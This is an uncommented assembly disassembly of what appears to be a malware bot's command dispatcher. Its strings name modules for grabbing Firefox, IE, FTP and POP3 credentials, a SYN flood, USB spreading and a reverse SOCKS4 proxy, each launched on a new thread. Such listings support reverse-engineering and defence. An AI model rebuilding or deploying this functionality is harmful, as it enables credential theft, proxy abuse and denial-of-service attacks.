mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x908]
push ecx
push esi
call edi
mov edx, dword [ebp + 0x18]
push edx
push 0x2a0b6e0
call edi
push 0
push 0
push esi
push 0x29ce130
jmp 0x29cd0ec
mov eax, dword [esi + edi*4]
push str.slow
push eax
call ebx
test eax, eax
jne 0x29ccd85
mov ecx, dword [esi + edi*4 + 8]
mov edx, dword [esi + edi*4 + 4]
push ecx
push edx
push 0x29d2c80
lea eax, [ebp - 0x908]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x14
lea ecx, [ebp - 0x908]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0x2a0a8ac]
inc eax
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x29cd0fd
lea eax, [ebp - 0x908]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0x29c9c60
jmp 0x29cd0ec
mov ecx, dword [esi + edi*4]
push 0x29d5968
push ecx
call ebx
test eax, eax
jne 0x29ccf1f
mov edx, dword [esi + edi*4 + 4]
lea eax, [esi + edi*4 + 4]
push 0x29d1a28
push edx
mov dword [ebp + 0x14], eax
call ebx
test eax, eax
jne 0x29ccdf7
mov eax, dword [esi + edi*4 + 8]
push 0x29d1a30
push eax
call ebx
test eax, eax
jne 0x29ccddb
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push 1
push edx
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push 0
push ecx
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push str.msnu
push eax
call ebx
test eax, eax
jne 0x29cce50
mov ecx, dword [esi + edi*4 + 8]
push 0x29d1a30
push ecx
call ebx
test eax, eax
jne 0x29cce34
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push 1
push eax
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push 0
push edx
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push str.pdef
push ecx
call ebx
test eax, eax
je 0x29cced7
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push str.ffgrab
push edx
call ebx
test eax, eax
je 0x29ccdaf
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push str.iegrab
push eax
call ebx
test eax, eax
je 0x29cce08
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push str.ftpgrab
push ecx
call ebx
test eax, eax
je 0x29cced7
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push str.popgrab
push edx
call ebx
test eax, eax
je 0x29ccdaf
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push str.bdns
push eax
call ebx
test eax, eax
je 0x29cce08
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push str.usbi
push ecx
call ebx
test eax, eax
jne 0x29cd0fd
mov edx, dword [esi + edi*4 + 8]
push 0x29d1a30
push edx
call ebx
test eax, eax
jne 0x29ccf03
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push 1
push ecx
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push 0
push eax
call fcn.029c7790
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push 0x29d598c
push ecx
call ebx
test eax, eax
jne 0x29ccf82
mov edx, dword [esi + edi*4 + 8]
push edx
call sub.MSVCRT.dll_atoi
mov ebx, eax
add esp, 4
test ebx, ebx
jbe 0x29cd0fd
mov eax, dword [esi + edi*4 + 4]
push ebx
push eax
call fcn.029c8670
add esp, 8
test eax, eax
je 0x29cd0fd
mov ecx, dword [esi + edi*4 + 4]
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
push ebx
push ecx
push str._RSOCK4_:_Started_rsock4_on___s:_d_
push edx
push eax
call fcn.029cba00
add esp, 0x14
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x14], 4
jl 0x29cd0fd
mov ecx, dword [esi + edi*4]
push 0x29d59a4
push ecx
call ebx
test eax, eax
jne 0x29cd040
cmp dword [ebp + 0x14], 4
jle 0x29ccfca
mov edx, dword [esi + edi*4 + 0x10]
push edx
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jle 0x29ccfca
mov eax, dword [esi + edi*4 + 0x10]
push eax
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [0x2a0b6d4], eax
jmp 0x29ccfd4
mov dword [0x2a0b6d4], 0
mov ecx, dword [esi + edi*4 + 0xc]
mov edx, dword [esi + edi*4 + 8]
mov eax, dword [esi + edi*4 + 4]
push ecx
push edx
push eax
push str._s_s_s
lea ecx, [ebp - 0x908]
push 0x7ff
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea edx, [ebp - 0x908]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [0x2a0a8ac]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x29cd0fd
lea ecx, [ebp - 0x908]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0x29c9830
jmp 0x29cd0ec
mov edx, dword [esi + edi*4]
push str.ssyn
push edx
call ebx
test eax, eax
jne 0x29cd0fd
cmp dword [ebp + 0x14], 4
jle 0x29cd07e
mov eax, dword [esi + edi*4 + 0x10]
push eax
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jle 0x29cd07e
mov ecx, dword [esi + edi*4 + 0x10]
push ecx
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [0x2a0b6d4], eax
jmp 0x29cd088
mov dword [0x2a0b6d4], 0
mov edx, dword [esi + edi*4 + 0xc]
mov eax, dword [esi + edi*4 + 8]
mov ecx, dword [esi + edi*4 + 4]
push edx
push eax
push ecx
push str._s_s_s
lea edx, [ebp - 0x908]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x2a0a8ac]
inc eax
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x29cd0fd
lea edx, [ebp - 0x908]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0x29c96b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret